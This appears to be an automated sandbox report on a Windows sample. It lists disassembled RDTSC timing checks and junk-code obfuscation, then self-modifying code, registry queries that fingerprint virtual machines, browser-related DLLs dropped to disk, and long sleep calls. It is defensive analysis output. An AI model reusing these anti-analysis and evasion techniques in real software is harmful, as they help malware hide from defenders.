Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56F0E1D second address: 56F0E9E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F60C4BB5417h 0x00000009 or cx, 016Eh 0x0000000e jmp 00007F60C4BB5419h 0x00000013 popfd 0x00000014 call 00007F60C4BB5410h 0x00000019 pop eax 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d push eax 0x0000001e jmp 00007F60C4BB5410h 0x00000023 xchg eax, ebp 0x00000024 pushad 0x00000025 mov eax, 724534ADh 0x0000002a pushad 0x0000002b mov esi, 480223CFh 0x00000030 mov edx, ecx 0x00000032 popad 0x00000033 popad 0x00000034 mov ebp, esp 0x00000036 push eax 0x00000037 push edx 0x00000038 jmp 00007F60C4BB540Dh 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57101FC second address: 5710200 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5710200 second address: 5710206 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5710206 second address: 5710220 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F60C4EB377Ch 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov ch, dh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5710220 second address: 5710225 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5710225 second address: 5710288 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60C4EB377Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F60C4EB3784h 0x00000011 sub ax, 6028h 0x00000016 jmp 00007F60C4EB377Bh 0x0000001b popfd 0x0000001c mov ah, D1h 0x0000001e popad 0x0000001f mov ebp, esp 0x00000021 pushad 0x00000022 mov si, di 0x00000025 call 00007F60C4EB377Dh 0x0000002a mov dl, ch 0x0000002c pop edx 0x0000002d popad 0x0000002e xchg eax, ecx 0x0000002f push eax 0x00000030 push edx 0x00000031 jmp 00007F60C4EB377Fh 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5710288 second address: 571028F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 571028F second address: 571029D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 571029D second address: 57102A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57102A1 second address: 57102A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57102A5 second address: 57102AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57102AB second address: 57102F8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60C4EB3782h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a pushad 0x0000000b mov edi, esi 0x0000000d pushfd 0x0000000e jmp 00007F60C4EB377Ah 0x00000013 sbb al, 00000078h 0x00000016 jmp 00007F60C4EB377Bh 0x0000001b popfd 0x0000001c popad 0x0000001d xchg eax, ecx 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F60C4EB3785h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57102F8 second address: 571032F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60C4BB5411h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F60C4BB5411h 0x0000000f xchg eax, ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F60C4BB540Dh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 571032F second address: 571033F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F60C4EB377Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 571033F second address: 5710397 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push dword ptr [ebp+08h] 0x0000000b jmp 00007F60C4BB5417h 0x00000010 lea eax, dword ptr [ebp-08h] 0x00000013 pushad 0x00000014 mov cx, 175Bh 0x00000018 popad 0x00000019 push ebx 0x0000001a jmp 00007F60C4BB540Ah 0x0000001f mov dword ptr [esp], eax 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 push ebx 0x00000026 pop ecx 0x00000027 jmp 00007F60C4BB5419h 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5710523 second address: 571057D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F60C4EB3787h 0x00000009 adc ch, FFFFFF8Eh 0x0000000c jmp 00007F60C4EB3789h 0x00000011 popfd 0x00000012 push eax 0x00000013 pop ebx 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 mov ebp, esp 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F60C4EB3789h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 571057D second address: 57105C7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60C4BB5411h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push 00000000h 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F60C4BB540Fh 0x00000014 add si, A7AEh 0x00000019 jmp 00007F60C4BB5419h 0x0000001e popfd 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57105C7 second address: 57105CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57105CC second address: 57105FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F60C4BB540Dh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push 00000000h 0x0000000e jmp 00007F60C4BB540Eh 0x00000013 push dword ptr [ebp+1Ch] 0x00000016 pushad 0x00000017 mov si, D7EDh 0x0000001b push esi 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57105FB second address: 571064C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 push dword ptr [ebp+18h] 0x00000009 pushad 0x0000000a mov ebx, esi 0x0000000c pushfd 0x0000000d jmp 00007F60C4EB377Ch 0x00000012 and eax, 705466B8h 0x00000018 jmp 00007F60C4EB377Bh 0x0000001d popfd 0x0000001e popad 0x0000001f push dword ptr [ebp+14h] 0x00000022 jmp 00007F60C4EB3786h 0x00000027 push dword ptr [ebp+10h] 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d movsx ebx, ax 0x00000030 push eax 0x00000031 pop edi 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 571064C second address: 5710652 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5710652 second address: 5710656 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57106C5 second address: 57106CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57106CB second address: 57106CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56F0748 second address: 56F07BD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F60C4BB5417h 0x00000009 sub ecx, 53BC54EEh 0x0000000f jmp 00007F60C4BB5419h 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007F60C4BB5410h 0x0000001b sbb si, BC68h 0x00000020 jmp 00007F60C4BB540Bh 0x00000025 popfd 0x00000026 popad 0x00000027 pop edx 0x00000028 pop eax 0x00000029 pop ebp 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e jmp 00007F60C4BB5410h 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56F07BD second address: 56F07CC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60C4EB377Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56F07CC second address: 56F07D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56F07D2 second address: 56F07D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56F07D6 second address: 56F07DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56F07F0 second address: 56F0829 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60C4EB3784h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 movzx eax, bx 0x0000000c popad 0x0000000d push 40ADFE24h 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F60C4EB3784h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56F0829 second address: 56F082D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56F082D second address: 56F0833 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56F0833 second address: 56F0844 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F60C4BB540Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56F0844 second address: 56F0848 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56F0848 second address: 56F0881 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add dword ptr [esp], 357C1E04h 0x0000000f jmp 00007F60C4BB540Dh 0x00000014 call 00007F61356F8B94h 0x00000019 push 762327D0h 0x0000001e push dword ptr fs:[00000000h] 0x00000025 mov eax, dword ptr [esp+10h] 0x00000029 mov dword ptr [esp+10h], ebp 0x0000002d lea ebp, dword ptr [esp+10h] 0x00000031 sub esp, eax 0x00000033 push ebx 0x00000034 push esi 0x00000035 push edi 0x00000036 mov eax, dword ptr [762C0140h] 0x0000003b xor dword ptr [ebp-04h], eax 0x0000003e xor eax, ebp 0x00000040 push eax 0x00000041 mov dword ptr [ebp-18h], esp 0x00000044 push dword ptr [ebp-08h] 0x00000047 mov eax, dword ptr [ebp-04h] 0x0000004a mov dword ptr [ebp-04h], FFFFFFFEh 0x00000051 mov dword ptr [ebp-08h], eax 0x00000054 lea eax, dword ptr [ebp-10h] 0x00000057 mov dword ptr fs:[00000000h], eax 0x0000005d ret 0x0000005e jmp 00007F60C4BB540Eh 0x00000063 and dword ptr [ebp-04h], 00000000h 0x00000067 push eax 0x00000068 push edx 0x00000069 push eax 0x0000006a push edx 0x0000006b push eax 0x0000006c push edx 0x0000006d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56F0881 second address: 56F0885 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56F0885 second address: 56F0889 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56F0889 second address: 56F088F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56F088F second address: 56F08B8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60C4BB5414h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edx, dword ptr [ebp+0Ch] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov edi, 4ABE76C0h 0x00000014 mov edx, 12743EECh 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56F08B8 second address: 56F0945 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F60C4EB3780h 0x00000009 sub cx, ED08h 0x0000000e jmp 00007F60C4EB377Bh 0x00000013 popfd 0x00000014 mov ax, D77Fh 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b mov esi, edx 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 pushfd 0x00000021 jmp 00007F60C4EB3787h 0x00000026 add eax, 7AFC65FEh 0x0000002c jmp 00007F60C4EB3789h 0x00000031 popfd 0x00000032 pushfd 0x00000033 jmp 00007F60C4EB3780h 0x00000038 or eax, 4C904CF8h 0x0000003e jmp 00007F60C4EB377Bh 0x00000043 popfd 0x00000044 popad 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56F09E6 second address: 56F0A1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushfd 0x00000008 jmp 00007F60C4BB5419h 0x0000000d or esi, 667A29C6h 0x00000013 jmp 00007F60C4BB5411h 0x00000018 popfd 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56F0A1F second address: 56F0A9A instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F60C4EB3780h 0x00000008 and cl, 00000068h 0x0000000b jmp 00007F60C4EB377Bh 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 popad 0x00000014 lea ebx, dword ptr [edi+01h] 0x00000017 pushad 0x00000018 pushfd 0x00000019 jmp 00007F60C4EB3784h 0x0000001e jmp 00007F60C4EB3785h 0x00000023 popfd 0x00000024 popad 0x00000025 mov al, byte ptr [edi+01h] 0x00000028 pushad 0x00000029 pushad 0x0000002a mov di, B728h 0x0000002e popad 0x0000002f call 00007F60C4EB3781h 0x00000034 push esi 0x00000035 pop edx 0x00000036 pop eax 0x00000037 popad 0x00000038 inc edi 0x00000039 push eax 0x0000003a push edx 0x0000003b push eax 0x0000003c push edx 0x0000003d push eax 0x0000003e push edx 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56F0A9A second address: 56F0A9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56F0A9E second address: 56F0AB2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60C4EB3780h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56F0AB2 second address: 56F0AC9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60C4BB540Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test al, al 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56F0AC9 second address: 56F0ACD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56F0ACD second address: 56F0AD3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56F0AD3 second address: 56F0B5D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, 331317DFh 0x00000008 movzx esi, dx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jne 00007F61359EB714h 0x00000014 jmp 00007F60C4EB3787h 0x00000019 mov ecx, edx 0x0000001b pushad 0x0000001c movzx ecx, di 0x0000001f call 00007F60C4EB3781h 0x00000024 pop ebx 0x00000025 popad 0x00000026 shr ecx, 02h 0x00000029 pushad 0x0000002a pushfd 0x0000002b jmp 00007F60C4EB3788h 0x00000030 add cx, 9308h 0x00000035 jmp 00007F60C4EB377Bh 0x0000003a popfd 0x0000003b push eax 0x0000003c push edx 0x0000003d jmp 00007F60C4EB3786h 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56F0B5D second address: 56F0BAD instructions: 0x00000000 rdtsc 0x00000002 mov dx, cx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 rep movsd 0x0000000a rep movsd 0x0000000c rep movsd 0x0000000e rep movsd 0x00000010 rep movsd 0x00000012 jmp 00007F60C4BB540Ch 0x00000017 mov ecx, edx 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c mov ebx, 54F812B0h 0x00000021 pushfd 0x00000022 jmp 00007F60C4BB5419h 0x00000027 adc ah, 00000036h 0x0000002a jmp 00007F60C4BB5411h 0x0000002f popfd 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56F0BAD second address: 56F0BBD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F60C4EB377Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56F0BBD second address: 56F0BE8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60C4BB540Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b and ecx, 03h 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F60C4BB5415h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56F0BE8 second address: 56F0C0E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60C4EB3781h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rep movsb 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F60C4EB377Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56F0C0E second address: 56F0CD9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60C4BB5411h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [ebp-04h], FFFFFFFEh 0x00000010 jmp 00007F60C4BB540Eh 0x00000015 mov eax, ebx 0x00000017 pushad 0x00000018 pushad 0x00000019 movzx ecx, dx 0x0000001c pushfd 0x0000001d jmp 00007F60C4BB5419h 0x00000022 or cx, 6516h 0x00000027 jmp 00007F60C4BB5411h 0x0000002c popfd 0x0000002d popad 0x0000002e push eax 0x0000002f mov dl, 92h 0x00000031 pop eax 0x00000032 popad 0x00000033 mov ecx, dword ptr [ebp-10h] 0x00000036 jmp 00007F60C4BB540Fh 0x0000003b mov dword ptr fs:[00000000h], ecx 0x00000042 jmp 00007F60C4BB5416h 0x00000047 pop ecx 0x00000048 pushad 0x00000049 jmp 00007F60C4BB540Eh 0x0000004e push eax 0x0000004f push edx 0x00000050 pushfd 0x00000051 jmp 00007F60C4BB5410h 0x00000056 or si, 85F8h 0x0000005b jmp 00007F60C4BB540Bh 0x00000060 popfd 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56F0CD9 second address: 56F0D4C instructions: 0x00000000 rdtsc 0x00000002 mov di, ax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 pop edi 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F60C4EB3780h 0x00000010 add esi, 60B46058h 0x00000016 jmp 00007F60C4EB377Bh 0x0000001b popfd 0x0000001c mov edi, eax 0x0000001e popad 0x0000001f pop esi 0x00000020 pushad 0x00000021 pushad 0x00000022 pushad 0x00000023 popad 0x00000024 mov ecx, 0ABD48A3h 0x00000029 popad 0x0000002a pushad 0x0000002b movzx eax, bx 0x0000002e pushfd 0x0000002f jmp 00007F60C4EB377Bh 0x00000034 add ax, A3CEh 0x00000039 jmp 00007F60C4EB3789h 0x0000003e popfd 0x0000003f popad 0x00000040 popad 0x00000041 pop ebx 0x00000042 pushad 0x00000043 push eax 0x00000044 push edx 0x00000045 mov di, cx 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56F0D4C second address: 56F0DEA instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F60C4BB5416h 0x00000008 sub ax, 0F78h 0x0000000d jmp 00007F60C4BB540Bh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 pushfd 0x00000016 jmp 00007F60C4BB5418h 0x0000001b sbb esi, 5BDAA9D8h 0x00000021 jmp 00007F60C4BB540Bh 0x00000026 popfd 0x00000027 popad 0x00000028 leave 0x00000029 pushad 0x0000002a call 00007F60C4BB5414h 0x0000002f pushfd 0x00000030 jmp 00007F60C4BB5412h 0x00000035 jmp 00007F60C4BB5415h 0x0000003a popfd 0x0000003b pop eax 0x0000003c push eax 0x0000003d push edx 0x0000003e mov bx, D662h 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56F0DEA second address: 56F0DEE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56F0DEE second address: 56F07F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 retn 0008h 0x0000000a nop 0x0000000b lea ecx, dword ptr [ebp-20h] 0x0000000e call 00007F60C4BB38AFh 0x00000013 push ebp 0x00000014 mov ebp, esp 0x00000016 push ecx 0x00000017 mov dword ptr [ebp-04h], ecx 0x0000001a mov ecx, dword ptr [ebp-04h] 0x0000001d call 00007F60C4BB59F6h 0x00000022 push ebp 0x00000023 mov ebp, esp 0x00000025 sub esp, 08h 0x00000028 mov dword ptr [ebp-04h], ecx 0x0000002b mov eax, dword ptr [ebp-04h] 0x0000002e cmp dword ptr [eax+14h], 10h 0x00000032 jc 00007F60C4BB540Ch 0x00000034 mov ecx, dword ptr [ebp-04h] 0x00000037 mov edx, dword ptr [ecx] 0x00000039 mov dword ptr [ebp-08h], edx 0x0000003c jmp 00007F60C4BB5408h 0x0000003e mov eax, dword ptr [ebp-08h] 0x00000041 mov esp, ebp 0x00000043 pop ebp 0x00000044 ret 0x00000045 mov esp, ebp 0x00000047 pop ebp 0x00000048 ret 0x00000049 push eax 0x0000004a lea edx, dword ptr [ebp-00000448h] 0x00000050 push edx 0x00000051 call 00007F60C977BF8Ah 0x00000056 push 00000008h 0x00000058 pushad 0x00000059 push eax 0x0000005a push edx 0x0000005b movsx edx, ax 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5700175 second address: 570017B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 570017B second address: 57001AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, ax 0x00000006 mov edi, ecx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d jmp 00007F60C4BB5410h 0x00000012 pop ebp 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 jmp 00007F60C4BB540Dh 0x0000001b popad 0x0000001c rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: E0D92B instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: FA6CA1 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 102EC6F instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 0.6 %

Source: C:\Users\user\Desktop\file.exe TID: 6036	Thread sleep time: -36018s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 1220	Thread sleep time: -40020s >= -30000s	Jump to behavior
